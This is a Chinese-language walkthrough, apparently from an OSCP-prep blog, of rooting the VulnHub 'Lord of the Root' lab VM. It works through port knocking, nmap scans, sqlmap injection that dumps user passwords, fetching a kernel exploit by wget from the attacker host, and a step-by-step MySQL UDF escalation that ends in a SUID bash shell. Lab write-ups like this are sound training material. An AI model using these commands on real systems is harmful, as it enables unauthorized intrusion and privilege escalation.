OSCP备战-LordOfTheRoot靶机复现步骤

PDF下载:

Target-practice/Range at main · szjr123/Target-practice

一、靶机描述

靶机地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/

靶机难度:中等(CTF)

靶机描述:这是KoocSec为黑客练习准备的另一个Boot2Root挑战。他通过OSCP考试的启发准备了这一过程。它基于伟大的小说改制电影《指环王》的概念。

目标:得到root权限&找到flag.txt

直接VM导入靶机,启动靶机

二、信息搜集

1、目标IP获取

得到目标IP:10.10.10.130

2、端口扫描

复制代码
nmap -p- --min-rate 1000 -T4 10.10.10.130

似乎只开启了22端口吗

端口详细信息扫描

复制代码
nmap -p22 -sV -sC -A  --min-rate 1000 -T4 10.10.10.130

尝试连接22端口

ssh 10.10.10.130

给出提示:

Easy as 1,2,3

提示port_knocking(端口试探)
端口试探的主要目的是防止攻击者通过对端口扫描的方式对主机进行攻击。
端口试探是一种通过尝试连接,从外部打开原先关闭端口的方法。一旦收到正确顺序的尝试连接,防火墙就会打开一些特定的端口允许尝试连接的主机访问。

尝试连接1,2,3端口

安装knock:

复制代码
apt install knockd

使用

复制代码
knock -v 10.10.10.130 1 2 3

再次进行端口扫描

复制代码
nmap -p- --min-rate 1000 -T4 10.10.10.130

开放新的端口1337

三、Getshell

访问1337端口

查看源代码没有信息

进行目录扫描

给到三张图片

没什么信息根据图片访问**/mordor**

源代码发现

复制代码
THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh

得到新路径

/978345210/index.php

登录框

尝试admin万能密码失败

尝试注入

复制代码
sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms

给出:data: username= &password=*&submit=%20Login%20

复制代码
sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms --dbs
复制代码
sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms -D Webapp --tables
复制代码
sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms -D Webapp -T Users --dump

得到:

frodo | iwilltakethering
smeagol | MyPreciousR00t
aragorn | AndMySword
legolas | AndMyBow
gimli | AndMyAxe

尝试进行ssh连接:

最终只有smeagol | MyPreciousR00t 可以成功连接

四、提权

1、内核提权

查看内核:

复制代码
uname -a

ubuntu 14.04 linux 3.19

复制代码
wget 10.10.10.128:442/39166.c

2、mysql udf提权

注意:下述操作未做演示,只是讲解一般操作步骤

查看mysql启动权限

查找mysql账号:/var/www/ 978345210/login.php

'root', 'darkshadow'

连接

复制代码
mysql -u root -p

输入密码后进入

查看mysql版本号

(1)依次执行

复制代码
select * from mysql.func;#查看可执行函数,若以及有函数直接跳到(7)

select version();   # 获取数据库版本

udf提权因数据库版本会不一样

复制代码
show variables like 'plugin%'; # 查看plugin路径

show global variables like '%secure%';  #查看是否有写入权限

当 secure_file_priv 的值没有具体值时,可提权

(2)任选一个数据库创建表单:

复制代码
CREATE TABLE foo (data LONGBLOB);

(3)将所选择的udf插入表单(同样先利用wget下载kali中自带的(位置:/usr/share/metasploit/mysql/)):

复制代码
insert into foo values(load_file('/tmp/lib_mysqludf_sys_64.so '));

(4)导出(/usr/lib/mysql/plugin/为plugin位置):

复制代码
select * from foo into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so ';

(5)创建函数(这里少数情况会报错,执行(9)):

复制代码
create function sys_eval returns integer soname 'lib_mysqludf_sys_64.so';

(6)

复制代码
select * from mysql.func;   #查看函数是否创建成功

(7)

复制代码
select sys_eval('cp /bin/bash /tmp/bash ; chmod +s /tmp/bash');

(8)回到/tmp/bash执行

复制代码
/tmp/bash -p

whoami

(9)查看lib_mysqludf_sys_64.so 长度,显示长度为1

复制代码
ls -l /usr/lib/mysql/plugin/lib_mysqludf_sys_64.so

直接在数据库中进行复制过去

复制代码
\! cp /tmp/lib_mysqludf_sys_64.so /usr/lib/mysql/plugin
相关推荐
nbwenren2 天前
MySQL数据库误删恢复_mysql 数据 误删
数据库·mysql·adb
HUGu RGIN3 天前
MySQL--》如何在MySQL中打造高效优化索引
android·mysql·adb
北冥有鱼被烹3 天前
【微知】rokid glass如何开启无线adb进行APP安装
adb
STER labo4 天前
mysql配置环境变量——(‘mysql‘ 不是内部或外部命令,也不是可运行的程序 或批处理文件解决办法)
数据库·mysql·adb
sjmaysee4 天前
CentOS7安装Mysql5.7(ARM64架构)
adb·架构
AtOR CUES5 天前
MySQL——表操作及查询
android·mysql·adb
mOok ONSC5 天前
mysql9.0windows安装
windows·adb
xxjj998a5 天前
Laravel8.x核心特性详解
数据库·mysql·adb
TeDi TIVE5 天前
Linux下MySQL的简单使用
linux·mysql·adb
TeDi TIVE5 天前
MySQL四种备份表的方式
mysql·adb·oracle